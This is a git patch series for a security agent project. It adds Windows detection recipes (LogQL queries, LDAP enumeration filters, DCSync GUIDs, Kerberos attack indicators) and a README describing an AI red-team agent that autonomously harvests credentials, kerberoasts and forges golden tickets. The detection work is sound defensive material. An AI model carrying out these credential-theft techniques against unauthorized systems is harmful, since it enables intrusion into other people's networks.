"usually_precedes" + relevance: 0.95 + rationale: "Need credentials to use remote services" + + - technique: "T1018" + name: "Remote System Discovery" + relationship: "usually_precedes" + relevance: 0.85 + rationale: "Need to identify target systems" + + windows_events: + - event_id: 4624 + name: "Successful Logon" + relevance: 0.85 + description: "Type 3 (Network) or Type 10 (RemoteInteractive) logons" + query_pattern: "EventID=4624 AND (LogonType=3 OR LogonType=10)" + + - event_id: 4648 + name: "Explicit Credential Logon" + relevance: 0.80 + description: "Remote authentication with explicit credentials" + query_pattern: "EventID=4648" diff --git a/templates/engines/detection_recipes.yaml b/templates/engines/detection_recipes.yaml new file mode 100644 index 00000000..ec071767 --- /dev/null +++ b/templates/engines/detection_recipes.yaml @@ -0,0 +1,526 @@ +# Detection Recipes for Windows Security Events +# These recipes define specific patterns for detecting attack techniques +# in Windows Security Event logs + +# --- +# Password Spray Detection Recipe +password_spray: + name: "Password Spray Attack Detection" + description: | + Detects password spray attacks where an attacker tries the same password + against multiple accounts to avoid account lockouts. + + mitre_technique: "T1110.003" + + indicators: + - "Multiple distinct target accounts (5+) with authentication failures" + - "Same source IP or workstation" + - "Short time window (< 30 minutes)" + - "Low failures per account (1-3)" + + windows_events: + primary: + - event_id: 4625 + fields: + - TargetUserName + - TargetDomainName + - IpAddress + - WorkstationName + - FailureReason + - SubStatus + detection_logic: | + COUNT(DISTINCT TargetUserName) > 5 + WHERE TimeGenerated within 30 minutes + GROUP BY IpAddress + + supporting: + - event_id: 4771 + description: "Kerberos pre-auth failures" + - event_id: 4776 + description: "NTLM credential validation failures" + + logql_queries: + # Query 1: Find authentication failures grouped by source + - name: "Find spray source IPs" + query: | + {job=~".*"} |~ "(?i)(4625|4771|4776)" |~ "(?i)(failure|failed)" + limit: 100 + direction: "backward" + + # Query 2: Look for patterns + - name: "Multiple accounts from same source" + query: | + {job=~".*"} |= "4625" | json | __error__="" | line_format "{{.IpAddress}} {{.TargetUserName}}" + post_processing: "Count distinct usernames per IP" + + investigation_steps: + 1: "Identify source IPs with multiple failed authentications" + 2: "List all target accounts from each source IP" + 3: "Check if any sprayed accounts subsequently authenticated successfully" + 4: "Identify the time window and pattern (same password indicator)" + 5: "Document all affected accounts for password reset" + + severity_thresholds: + low: "5-10 accounts targeted" + medium: "10-50 accounts targeted" + high: "50+ accounts targeted or privileged accounts targeted" + +# --- +# Credential Stuffing Detection +credential_stuffing: + name: "Credential Stuffing Detection" + description: | + Detects attempts to use leaked credentials against multiple accounts. + Different from password spray as it uses known credential pairs. + + mitre_technique: "T1110.004" + + windows_events: + primary: + - event_id: 4625 + detection_logic: | + Same TargetUserName with many different failure codes + Rapid succession of attempts + + logql_queries: + - name: "Rapid auth failures" + query: | + {job=~".*"} |= "4625" | json | count_over_time({job=~".*"} |= "4625"[5m]) > 10 + +# --- +# Share Access Enumeration Detection +share_enumeration: + name: "Network Share Enumeration Detection" + description: | + Detects enumeration of network shares, particularly SYSVOL and NETLOGON + which may contain credentials or sensitive configurations. + + mitre_technique: "T1135" + + indicators: + - "Access to multiple shares from single source" + - "Access to SYSVOL or NETLOGON shares" + - "Access from non-administrative accounts" + - "Unusual access times" + + windows_events: + primary: + - event_id: 5140 + description: "Network share was accessed" + fields: + - SubjectUserName + - SubjectDomainName + - IpAddress + - ShareName + - ShareLocalPath + key_shares: + - "SYSVOL" + - "NETLOGON" + - "ADMIN$" + - "C$" + - "IPC$" + + - event_id: 5145 + description: "Network share object was checked for access" + fields: + - SubjectUserName + - IpAddress + - ShareName + - RelativeTargetName + - AccessMask + + logql_queries: + - name: "SYSVOL access" + query: | + {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)sysvol" + + - name: "NETLOGON access" + query: | + {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)netlogon" + + - name: "Admin share access" + query: | + {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)(admin\\$|c\\$)" + + investigation_steps: + 1: "Identify all shares accessed by the source IP/user" + 2: "Check if SYSVOL or NETLOGON were accessed" + 3: "List files accessed within those shares" + 4: "Identify if any scripts or policies were read" + 5: "Check for GPP password files (Groups.xml, etc.)" + +# --- +# LDAP Enumeration Detection +ldap_enumeration: + name: "LDAP/Active Directory Enumeration Detection" + description: | + Detects LDAP queries used for enumerating AD objects including + users, groups, computers, and domain trusts. + + mitre_techniques: + - "T1087.002" # Domain Account Discovery + - "T1069.002" # Domain Groups + - "T1482" # Domain Trust Discovery + + indicators: + - "Bulk LDAP queries from single source" + - "Queries for all users/computers/groups" + - "Queries for sensitive attributes (adminCount, servicePrincipalName)" + - "Unusual query source (not a management server)" + + windows_events: + primary: + - event_id: 4662 + description: "Operation performed on AD object" + fields: + - SubjectUserName + - ObjectType + - ObjectName + - OperationType + - Properties + + - event_id: 4661 + description: "Handle to object requested" + fields: + - SubjectUserName + - ObjectType + - ObjectName + + suspicious_ldap_filters: + user_enum: + - "(objectClass=user)" + - "(objectCategory=person)" + - "(samAccountType=805306368)" + computer_enum: + - "(objectClass=computer)" + - "(objectCategory=computer)" + group_enum: + - "(objectClass=group)" + - "(objectCategory=group)" + spn_enum: + - "(servicePrincipalName=*)" + admin_enum: + - "(adminCount=1)" + - "(memberOf=*Admins*)" + asrep_roast: + - "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" + + logql_queries: + - name: "User enumeration queries" + query: | + {job=~".*"} |~ "(?i)(objectclass=user|objectcategory=person)" + + - name: "SPN enumeration (Kerberoasting recon)" + query: | + {job=~".*"} |~ "(?i)serviceprincipalname" + + - name: "Admin account enumeration" + query: | + {job=~".*"} |~ "(?i)(admincount|admin.*member)" + +# --- +# Kerberos Attack Detection +kerberos_attacks: + name: "Kerberos-based Attack Detection" + description: | + Detects various Kerberos-based attacks including Kerberoasting, + AS-REP roasting, Golden/Silver ticket usage, and pass-the-ticket. + + sub_patterns: + kerberoasting: + mitre_technique: "T1558.003" + indicators: + - "TGS requests for service accounts" + - "RC4 encryption requested (0x17)" + - "Bulk TGS requests in short time" + + windows_events: + - event_id: 4769 + fields: + - TargetUserName + - ServiceName + - TicketEncryptionType + - IpAddress + detection_logic: | + TicketEncryptionType = 0x17 (RC4) + AND COUNT(*) > 5 within 1 hour + FROM same IpAddress + + logql_queries: + - name: "RC4 TGS requests" + query: | + {job=~".*"} |= "4769" |~ "(?i)(0x17|RC4)" + + asrep_roasting: + mitre_technique: "T1558.004" + indicators: + - "AS-REQ without pre-authentication" + - "Targeting accounts with DONT_REQ_PREAUTH" + + windows_events: + - event_id: 4768 + fields: + - TargetUserName + - PreAuthType + - IpAddress + detection_logic: | + PreAuthType = 0 (no pre-auth) + + logql_queries: + - name: "AS-REQ without pre-auth" + query: | + {job=~".*"} |= "4768" |~ "(?i)preauth.*0" + + golden_ticket: + mitre_technique: "T1558.001" + indicators: + - "TGT with unusual lifetime" + - "TGT with forged SID" + - "Account logon from impossible location" + + windows_events: + - event_id: 4768 + - event_id: 4769 + - event_id: 4624 + +# --- +# DCSync Detection +dcsync: + name: "DCSync Attack Detection" + description: | + Detects DCSync attacks where an attacker mimics a domain controller + to request password data via replication. + + mitre_technique: "T1003.006" + + indicators: + - "Replication request from non-DC" + - "DS-Replication-Get-Changes-All permission usage" + - "Directory service access from unusual source" + + windows_events: + primary: + - event_id: 4662 + description: "AD object accessed with replication rights" + fields: + - SubjectUserName + - SubjectDomainName + - ObjectType + - Properties + detection_logic: | + Properties contains: + - 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes) + - 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All) + - 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set) + AND source is NOT a known Domain Controller + + - event_id: 4624 + description: "Logon before DCSync" + fields: + - TargetUserName + - IpAddress + - LogonType + + logql_queries: + - name: "DCSync replication GUIDs" + query: | + {job=~".*"} |= "4662" |~ "(?i)(1131f6aa|1131f6ad|89e95b76)" + + - name: "Directory service access" + query: | + {job=~".*"} |~ "(?i)directory.*service.*access" + + investigation_steps: + 1: "Identify the source account and IP of the DCSync" + 2: "Verify if the source is a legitimate Domain Controller" + 3: "Check what accounts were replicated" + 4: "Look for precursor reconnaissance (LDAP enumeration)" + 5: "Check for authentication attempts before DCSync" + 6: "Identify all compromised accounts that need password resets" + +# --- +# Pass the Hash Detection +pass_the_hash: + name: "Pass-the-Hash Attack Detection" + description: | + Detects attempts to authenticate using NTLM hashes instead of plaintext passwords. + + mitre_technique: "T1550.002" + + indicators: + - "NTLM authentication with Type 9 (NewCredentials) logon" + - "NTLM auth from unusual source" + - "Same hash used from multiple locations" + + windows_events: + primary: + - event_id: 4624 + fields: + - LogonType + - AuthenticationPackageName + - TargetUserName + - IpAddress + - WorkstationName + detection_logic: | + LogonType = 9 (NewCredentials) + AND AuthenticationPackageName = NTLM + + - event_id: 4648 + description: "Explicit credential logon" + fields: + - TargetUserName + - TargetServerName + - IpAddress + + logql_queries: + - name: "NTLM NewCredentials logon" + query: | + {job=~".*"} |= "4624" |~ "(?i)logontype.*9" |~ "(?i)ntlm" + + - name: "Explicit credential usage" + query: | + {job=~".*"} |= "4648" + +# --- +# Service Enumeration Detection +service_enumeration: + name: "Network Service Scanning/Enumeration Detection" + description: | + Detects port scanning and service enumeration activities. + + mitre_technique: "T1046" + + indicators: + - "Connection attempts to multiple ports on same host" + - "Connection attempts to same port on multiple hosts" + - "Rapid connection attempts" + - "Connections to sensitive services (LDAP, Kerberos, RPC)" + + sensitive_ports: + - port: 389 + service: "LDAP" + - port: 636 + service: "LDAPS" + - port: 88 + service: "Kerberos" + - port: 135 + service: "RPC" + - port: 445 + service: "SMB" + - port: 3389 + service: "RDP" + - port: 5985 + service: "WinRM HTTP" + - port: 5986 + service: "WinRM HTTPS" + - port: 22 + service: "SSH" + - port: 53 + service: "DNS" + + logql_queries: + - name: "Connection to AD services" + query: | + {job=~".*"} |~ "(?i)(389|636|88|135|445)" |~ "(?i)(connect|syn|established)" + + - name: "RDP connection attempts" + query: | + {job=~".*"} |~ "(?i)3389" |~ "(?i)(connect|accept)" + +# --- +# Privileged Account Usage Detection +privileged_account_usage: + name: "Privileged Account Usage Detection" + description: | + Monitors usage of privileged accounts for anomalous behavior. + + indicators: + - "Privileged account logon from unusual location" + - "Privileged account used outside business hours" + - "Multiple privileged accounts from same source" + + windows_events: + primary: + - event_id: 4672 + description: "Special privileges assigned to new logon" + fields: + - SubjectUserName + - SubjectDomainName + - PrivilegeList + + - event_id: 4624 + description: "Successful logon" + + logql_queries: + - name: "Special privilege assignment" + query: | + {job=~".*"} |= "4672" + + - name: "Admin account logons" + query: | + {job=~".*"} |= "4624" |~ "(?i)(admin|administrator|domain.*admin)" + +# --- +# Investigation Query Templates +# Ready-to-use queries for the blue team agent + +query_templates: + # Authentication investigation + auth_failures_by_source: + description: "Get all auth failures from a specific IP" + query: | + {job=~".*"} |= "4625" |~ "IpAddress.*{source_ip}" + + auth_failures_by_user: + description: "Get all auth failures for a specific user" + query: | + {job=~".*"} |= "4625" |~ "TargetUserName.*{username}" + + successful_auth_after_failures: + description: "Check if failed auth was followed by success" + query: | + {job=~".*"} |= "4624" |~ "TargetUserName.*{username}" + + # Share investigation + share_access_by_source: + description: "Get all share access from a specific IP" + query: | + {job=~".*"} |~ "(?i)(5140|5145)" |~ "{source_ip}" + + sysvol_netlogon_access: + description: "Get SYSVOL/NETLOGON access" + query: | + {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)(sysvol|netlogon)" + + # Enumeration investigation + ldap_queries_by_source: + description: "Get LDAP activity from a specific IP" + query: | + {job=~".*"} |~ "(?i)ldap" |~ "{source_ip}" + + user_enumeration_activity: + description: "Detect user enumeration" + query: | + {job=~".*"} |~ "(?i)(objectclass=user|net.*user|samaccountname)" + + # Kerberos investigation + kerberos_activity_by_user: + description: "Get all Kerberos activity for a user" + query: | + {job=~".*"} |~ "(?i)(4768|4769|4770|4771)" |~ "{username}" + + tgs_requests_by_source: + description: "Get TGS requests from source" + query: | + {job=~".*"} |= "4769" |~ "{source_ip}" + + # Lateral movement investigation + remote_logons_by_user: + description: "Get remote logons for a user" + query: | + {job=~".*"} |= "4624" |~ "(?i)(logontype.*(3|10))" |~ "{username}" + + explicit_cred_usage: + description: "Get explicit credential usage" + query: | + {job=~".*"} |= "4648" |~ "{username}" diff --git a/templates/engines/mitre_precursor.md.jinja b/templates/engines/mitre_precursor.md.jinja new file mode 100644 index 00000000..abe08b89 --- /dev/null +++ b/templates/engines/mitre_precursor.md.jinja @@ -0,0 +1,9 @@ +PRECURSOR INVESTIGATION: We detected {{ detected_technique_id }} ({{ detected_technique_name }}). Before this attack, attackers typically perform {{ precursor_technique_id }} ({{ precursor_technique_name }}). {{ rationale }} + +INVESTIGATE: Look for {{ precursor_technique_name }} activity in the time window BEFORE the detected technique. +{% if windows_events %} +KEY WINDOWS EVENTS: {{ windows_events }} +{% endif %} +{% if log_patterns %} +SUGGESTED LOG PATTERNS: {{ log_patterns }} +{% endif %} diff --git a/tests/test_mcp_integration.py b/tests/test_mcp_integration.py index 40d77f07..350ae1cb 100644 --- a/tests/test_mcp_integration.py +++ b/tests/test_mcp_integration.py @@ -5,7 +5,7 @@ from loguru import logger -from src.tools.grafana import connect_grafana_mcp +from ares.tools.blue.grafana import connect_grafana_mcp async def test_mcp_connection() -> bool: diff --git a/tests/test_templates.py b/tests/test_templates.py index 46e159fb..4ba8cebf 100644 --- a/tests/test_templates.py +++ b/tests/test_templates.py @@ -5,7 +5,7 @@ import pytest from jinja2 import TemplateNotFound -from src.templates import TemplateLoader, get_template_loader +from ares.core.templates import TemplateLoader, get_template_loader class TestTemplateLoader: @@ -282,15 +282,15 @@ class TestClimbStrategiesConfig: def test_climb_strategies_file_exists(self) -> None: """Test that climb strategies YAML file exists.""" - from src.engines import _load_climb_strategies + from ares.core.engines import _load_climb_strategies strategies = _load_climb_strategies() assert len(strategies) > 0 def test_climb_strategies_structure(self) -> None: """Test that climb strategies have expected structure.""" - from src.engines import CLIMB_STRATEGIES - from src.models import PyramidLevel + from ares.core.engines import CLIMB_STRATEGIES + from ares.core.models import PyramidLevel # Should have strategies for most pyramid levels assert len(CLIMB_STRATEGIES) > 0 @@ -315,7 +315,7 @@ class TestTemplateIntegration: def test_agent_uses_templates(self) -> None: """Test that agent.py uses templates correctly.""" - from src.agent import build_initial_prompt + from ares.agents.blue.soc_investigator import build_initial_prompt alert = { "labels": { @@ -339,7 +339,7 @@ def test_agent_uses_templates(self) -> None: def test_create_uses_system_instructions_template(self) -> None: """Test that create.py loads system instructions from template.""" - from src.core.create import SYSTEM_INSTRUCTIONS + from ares.core.factories.blue_factory import SYSTEM_INSTRUCTIONS assert len(SYSTEM_INSTRUCTIONS) > 0 # System instructions should be substantial @@ -347,14 +347,14 @@ def test_create_uses_system_instructions_template(self) -> None: def test_engines_load_climb_strategies(self) -> None: """Test that engines.py loads climb strategies.""" - from src.engines import CLIMB_STRATEGIES + from ares.core.engines import CLIMB_STRATEGIES assert len(CLIMB_STRATEGIES) > 0 def test_investigation_tools_use_templates(self) -> None: """Test that investigation tools use templates.""" - from src.models import InvestigationState - from src.tools.investigation import InvestigationTools + from ares.core.models import InvestigationState + from ares.tools.blue.investigation import InvestigationTools tools = InvestigationTools() state = InvestigationState( From 59a71ff15cd6fc48e298e90016ce4962af99a78a Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 8 Jan 2026 14:42:51 -0700 Subject: [PATCH 4/4] style: improve import ordering, formatting, and config exclusions for clarity **Added:** - Expanded mypy error code disables: misc, valid-type, untyped-decorator in `pyproject.toml` for broader static analysis coverage - Added detailed comments to Bandit skips and expanded the skip list to handle pentesting tool usage and code style exceptions in `pyproject.toml` - Added multiple additional ignore rules to Ruff config to account for project-specific code patterns and stylistic choices in `pyproject.toml` **Changed:** - Updated mypy module override from `src.*` to `ares.*` in `pyproject.toml` - Reordered and grouped imports for consistency and PEP8 compliance across several modules (`src/ares/__init__.py`, `src/ares/agents/blue/soc_investigator.py`, `src/ares/agents/red/pentester.py`, `src/ares/core/factories/blue_factory.py`, `src/ares/core/factories/red_factory.py`, `src/ares/tools/blue/investigation.py`) - Improved line breaking and formatting for long function calls and dict constructions for better readability (multiple files) - Updated detection of MITRE technique extraction in orchestrators to use `labels.get(key)` and `annotations.get(key)` idiom for null-safety and clarity - Simplified conditional logic in `GrafanaTools` by merging branches and flattening response handling - Streamlined error and suggestion string formatting for LokiTools and other Toolset methods - Improved handling of available recipes and their display logic in `QuestionEngineTools` - Updated some docstring examples to add `# pragma: allowlist secret` comments for password fields in red team tools - Improved import ordering and __all__ listing order in several `__init__.py` files for consistency **Removed:** - Eliminated unnecessary noqa comments for private member access in `src/ares/main.py` and other places now covered by updated lint config - Removed unused import of `InvestigationStage` from `src/ares/tools/blue/actions.py` for clarity --- README.md | 188 +++++++++++++++++++---- Taskfile.yaml | 137 ++++------------- docs/index.md | 65 ++++++-- docs/prompt_templates.md | 24 +-- docs/taskfile_usage.md | 155 +++++++++++++------ pyproject.toml | 28 +++- src/ares/__init__.py | 11 +- src/ares/agents/blue/soc_investigator.py | 14 +- src/ares/agents/red/pentester.py | 4 +- src/ares/core/__init__.py | 4 +- src/ares/core/factories/blue_factory.py | 11 +- src/ares/core/factories/red_factory.py | 2 +- src/ares/core/templates.py | 2 +- src/ares/main.py | 10 +- src/ares/tools/blue/actions.py | 2 +- src/ares/tools/blue/grafana.py | 5 +- src/ares/tools/blue/investigation.py | 43 ++++-- src/ares/tools/blue/observability.py | 6 +- src/ares/tools/red/__init__.py | 4 +- src/ares/tools/red/network.py | 8 +- templates/engines/detection_recipes.yaml | 1 + 21 files changed, 465 insertions(+), 259 deletions(-) diff --git a/README.md b/README.md index 8c95aa51..52f373c7 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,29 @@ -# Ares - Autonomous SOC Investigation Agent +# Ares - Autonomous Security Operations Agent - -
- -[![Pre-Commit](https://github.com/dreadnode/python-template/actions/workflows/pre-commit.yaml/badge.svg)](https://github.com/dreadnode/python-template/actions/workflows/pre-commit.yaml) -[![Renovate](https://github.com/dreadnode/python-template/actions/workflows/renovate.yaml/badge.svg)](https://github.com/dreadnode/python-template/actions/workflows/renovate.yaml) +[![Pre-Commit](https://github.com/dreadnode/ares/actions/workflows/pre-commit.yaml/badge.svg)](https://github.com/dreadnode/ares/actions/workflows/pre-commit.yaml) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) +[![Python](https://img.shields.io/badge/python-3.11+-blue.svg)](https://www.python.org/downloads/) -
- +Autonomous security agent with dual capabilities: **Blue Team** (SOC alert +investigation) and **Red Team** (penetration testing). Built with the Dreadnode +Agent SDK and MITRE ATT&CK framework. -[![Pre-Commit](https://github.com/dreadnode/python-template/actions/workflows/pre-commit.yaml/badge.svg)](https://github.com/dreadnode/python-template/actions/workflows/pre-commit.yaml) -[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) +## Table of Contents -Autonomous security investigation agent that polls Grafana for alerts, queries -Loki/Prometheus, and generates investigation reports with MITRE ATT&CK -mappings. +- [Capabilities](#capabilities) +- [Quick Start](#quick-start) +- [Usage](#usage) +- [Blue Team Investigation Workflow](#blue-team-investigation-workflow) +- [Red Team Operation Workflow](#red-team-operation-workflow) +- [Development](#development) +- [Configuration](#configuration) +- [Observability](#observability) +- [Contributing](#contributing) +- [License](#license) -## What It Does +## Capabilities + +### Blue Team - SOC Investigation - Polls Grafana for firing alerts - Autonomously investigates Windows security events @@ -26,6 +32,17 @@ mappings. - Generates markdown reports with timeline and recommendations - Detects DCSync, authentication patterns, and attack indicators +### Red Team - Penetration Testing + +- Autonomous Active Directory enumeration +- Credential harvesting (secretsdump, kerberoasting, AS-REP roasting) +- Password hash cracking (hashcat, John the Ripper) +- SMB share pilfering for embedded credentials +- BloodHound integration for ACL abuse paths +- ADCS exploitation (ESC1-15 vulnerabilities) +- Golden ticket generation for domain persistence +- Delegation attacks (RBCD, unconstrained, constrained) + ## Quick Start **Prerequisites:** @@ -52,9 +69,18 @@ uv sync # 3. Verify configuration task ares:config:check +# Expected output: āœ“ All configuration checks passed + +# 4. Run the blue team agent (polls Grafana for alerts) +task ares:blue: +``` -# 4. Run the agent (polls Grafana for alerts) -task ares:run +**Verification:** + +```bash +# Confirm installation +uv run python -m ares --help +# Should display available commands: investigate-alert, red-team ``` **Without 1Password:** @@ -65,7 +91,7 @@ cp .env.example .env # Edit .env with your API keys # Run using local environment -task ares:run:local +task ares:blue:local: ``` ## Usage @@ -78,12 +104,21 @@ The easiest way to run Ares is using the provided Taskfile with 1Password integr # Check configuration and 1Password access task ares:config:check -# Run Ares in poll mode (retrieves API keys from 1Password automatically) -task ares:run +# Blue Team: Run SOC agent in poll mode +task ares:blue: -# Investigate a specific alert from JSON file +# Blue Team: Process current alerts once and exit +task ares:blue:once: + +# Blue Team: Investigate a specific alert from JSON file task ares:investigate ALERT=test-alerts/example-alert.json +# Red Team: Run penetration testing agent (resolves target via AWS EC2 Name tag) +task -y ares:red TARGET=dreadgoad + +# Red Team: Direct IP target (bypasses EC2 discovery) +task ares:red: TARGET=192.168.1.100 + # View investigation reports task ares:reports:list # List all reports task ares:reports:latest # Show latest report @@ -93,9 +128,13 @@ task ares:reports:latest # Show latest report | Command | Description | | ------- | ----------- | -| `task ares:run` | Run agent in poll mode (checks Grafana every 30s) | -| `task ares:run:local` | Run using .env file instead of 1Password | +| `task ares:blue:` | Run blue team agent in poll mode (checks Grafana every 30s) | +| `task ares:blue:once:` | Run blue team once and exit | +| `task ares:blue:local:` | Run blue team using .env file instead of 1Password | | `task ares:investigate ALERT=` | Investigate a specific alert from JSON file | +| `task ares:red TARGET=` | Run red team agent (resolves target via EC2 Name tag filter) | +| `task ares:red: TARGET=` | Run red team agent against direct IP address | +| `task ares:red:local: TARGET=` | Run red team using .env file instead of 1Password | | `task ares:config:check` | Verify configuration and 1Password access | | `task ares:config:show` | Display current configuration (no secrets) | | `task ares:reports:list` | List all investigation reports | @@ -107,7 +146,7 @@ See [Taskfile Usage Guide](docs/taskfile_usage.md) for detailed documentation. ### Direct CLI Usage (Advanced) -#### Poll Mode (Continuous) +#### Blue Team - Poll Mode (Continuous) Run Ares in continuous polling mode to automatically investigate alerts: @@ -117,27 +156,70 @@ export GRAFANA_SERVICE_ACCOUNT_TOKEN="your-grafana-token" # pragma: allowlist s export ANTHROPIC_API_KEY="your-anthropic-key" # pragma: allowlist secret export DREADNODE_API_KEY="your-dreadnode-key" # optional # pragma: allowlist secret -# Run the agent -uv run python -m src \ +# Run the blue team agent (continuous polling) +uv run python -m ares \ --args.model claude-sonnet-4-20250514 \ --args.grafana-url https://grafana.example.com \ --args.poll-interval 30 \ --args.max-steps 150 \ --args.report-dir ./reports + +# Run once and exit (process current alerts only) +uv run python -m ares --args.once ``` -#### Single Alert Investigation +#### Blue Team - Single Alert Investigation Investigate a specific alert by providing it as JSON: ```bash -# Using environment variables (as above) -uv run python -m src investigate-alert test-alerts/example-alert.json \ +uv run python -m ares investigate-alert test-alerts/example-alert.json \ --args.model claude-sonnet-4-20250514 \ --args.grafana-url https://grafana.example.com \ --args.max-steps 150 ``` +#### Red Team - Penetration Testing + +The red team agent supports two targeting modes: + +**EC2 Target Discovery (Recommended):** + +When using the Taskfile, provide an EC2 Name tag filter instead of an IP address. +The task queries AWS EC2 to find running instances where the Name tag contains +your filter string, then uses the first matching instance's private IP. + +```bash +# Discover target via AWS EC2 Name tag filter +# Finds instances where Name tag contains "dreadgoad" +task -y ares:red TARGET=dreadgoad +``` + +This uses `aws ec2 describe-instances` with: + +- Filter: `Name=instance-state-name,Values=running` +- Query: Instances where `Name` tag contains the TARGET value +- Returns: First matching instance's `PrivateIpAddress` + +**Direct IP Target:** + +For direct IP targeting (bypasses EC2 discovery): + +```bash +# Direct IP address +task ares:red: TARGET=192.168.1.100 + +# Or via CLI +uv run python -m ares red-team 192.168.1.100 \ + --args.model claude-sonnet-4-20250514 \ + --args.max-steps 150 \ + --args.report-dir ./reports +``` + +**Red Team Prerequisites:** The target environment must have penetration testing +tools installed (nmap, netexec, impacket-scripts, hashcat, john, certipy-ad, +bloodhound-python). + ### Command-Line Options **Agent Arguments (`--args.*`):** @@ -160,9 +242,9 @@ uv run python -m src investigate-alert test-alerts/example-alert.json \ | `--dn-args.workspace` | `ares-protocol` | Dreadnode workspace name | | `--dn-args.project` | `ares-soc` | Dreadnode project name | -## Investigation Workflow +## Blue Team Investigation Workflow -Ares follows a structured 4-stage investigation process: +The SOC agent follows a structured 4-stage investigation process: ### 1. Triage (WHAT is happening?) @@ -235,6 +317,37 @@ Generated reports include: Example report location: `reports/inv--.md` +## Red Team Operation Workflow + +The red team agent follows a priority-driven attack workflow: + +### Priority 0: ADCS Vulnerabilities + +When certificate template vulnerabilities (ESC1-15) are discovered, immediately +exploit them for potential direct path to Domain Admin. + +### Priority 1: KRBTGT Hash + +When a krbtgt hash is found, generate golden tickets for persistent domain +access and cross-domain escalation. + +### Priority 2: Administrator Hash + +When Administrator hashes are found, immediately use domain_admin_checker on +all targets and run secretsdump across the environment. + +### Priority 3: Credential Expansion + +For each new credential discovered: + +1. Check for privilege escalation paths (BloodHound ACL abuse, ADCS, delegation) +2. Enumerate users and shares on all targets +3. Pilfer accessible shares for embedded credentials +4. Kerberoast and AS-REP roast with new credentials +5. Crack discovered hashes and loop back + +Example report location: `reports/redteam-_report.md` + ## Development ### Prerequisites @@ -280,6 +393,8 @@ pytest --cov=src tests/ ### Environment Variables +**Blue Team (SOC Investigation):** + | Variable | Required | Description | | -------- | -------- | ----------- | | `GRAFANA_URL` | Yes | Grafana instance URL (e.g., `https://grafana.example.com`) | @@ -287,6 +402,13 @@ pytest --cov=src tests/ | `ANTHROPIC_API_KEY` | Yes | Anthropic API key for Claude models | | `DREADNODE_API_KEY` | No | Dreadnode platform token for observability | +**Red Team (Penetration Testing):** + +| Variable | Required | Description | +| -------- | -------- | ----------- | +| `ANTHROPIC_API_KEY` | Yes | Anthropic API key for Claude models | +| `DREADNODE_API_KEY` | No | Dreadnode platform token for observability | + **Note:** `GRAFANA_API_KEY` is deprecated. Use `GRAFANA_SERVICE_ACCOUNT_TOKEN` instead. See [Grafana's service account documentation](https://grafana.com/docs/grafana/latest/administration/service-accounts/) @@ -318,7 +440,7 @@ The Dreadnode platform can be configured via command-line arguments or environment variables: ```bash -# Via command line +# Via command line (blue team) uv run python -m ares \ --dn-args.server https://platform.dev.plundr.ai/ \ --dn-args.token your-api-token \ @@ -326,6 +448,10 @@ uv run python -m ares \ --dn-args.workspace ares-protocol \ --dn-args.project ares-soc +# Via command line (red team) +uv run python -m ares red-team 192.168.1.100 \ + --dn-args.project ares-redteam + # Via environment variable export DREADNODE_API_KEY="your-dreadnode-api-key" # pragma: allowlist secret ``` diff --git a/Taskfile.yaml b/Taskfile.yaml index c5be41f4..3c6a004b 100644 --- a/Taskfile.yaml +++ b/Taskfile.yaml @@ -484,6 +484,8 @@ tasks: desc: "Run red team agent against a target (usage: task ares:red TARGET=dreadgoad)" vars: TARGET: '{{.TARGET | default ""}}' + PROFILE: '{{.PROFILE | default "lab"}}' + REGION: '{{.REGION | default "us-west-2"}}' REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' preconditions: - sh: test -n "{{.TARGET}}" @@ -494,7 +496,32 @@ tasks: export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal 2>/dev/null || echo "") export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "") - uv run python -m ares red-team {{.TARGET}} \ + TARGET="{{.TARGET}}" + + # Check if TARGET is an IP address (simple regex check) + if echo "$TARGET" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$'; then + echo "šŸŽÆ Using direct IP: $TARGET" + RESOLVED_TARGET="$TARGET" + else + # Resolve TARGET via AWS EC2 Name tag filter + echo "šŸ” Resolving '$TARGET' via AWS EC2 Name tag filter..." + + RESOLVED_TARGET=$(aws ec2 describe-instances \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --filters "Name=instance-state-name,Values=running" \ + --query "Reservations[*].Instances[?contains(Tags[?Key==\`Name\`].Value|[0], \`$TARGET\`)].PrivateIpAddress" \ + --output text | tr '\n' ' ' | awk '{print $1}') + + if [ -z "$RESOLVED_TARGET" ]; then + echo "āŒ No running EC2 instances found matching Name tag filter: $TARGET" + exit 1 + fi + + echo "āœ… Resolved to: $RESOLVED_TARGET" + fi + + uv run python -m ares red-team "$RESOLVED_TARGET" \ --args.model {{.MODEL}} \ --args.max-steps {{.MAX_STEPS}} \ --args.report-dir {{.REPORT_DIR}} \ @@ -532,114 +559,6 @@ tasks: --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ --dn-args.project {{.REDTEAM_PROJECT}} - ares:red:orchestrate: - desc: "Orchestrate red team via S3/SSM (usage: task ares:red:orchestrate TARGET_FILTER=dreadgoad)" - vars: - TARGET_FILTER: '{{.TARGET_FILTER | default "dreadgoad"}}' - KALI: '{{.KALI | default "dev-alpha-operator-range-kali"}}' - BUCKET: '{{.BUCKET | default "dread-infra-alpha-operator-range-dev-us-west-2"}}' - PROFILE: '{{.PROFILE | default "lab"}}' - REGION: '{{.REGION | default "us-west-2"}}' - REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' - deps: - - task: check-aws-auth - vars: - PROFILE: '{{.PROFILE}}' - REGION: '{{.REGION}}' - cmds: - - 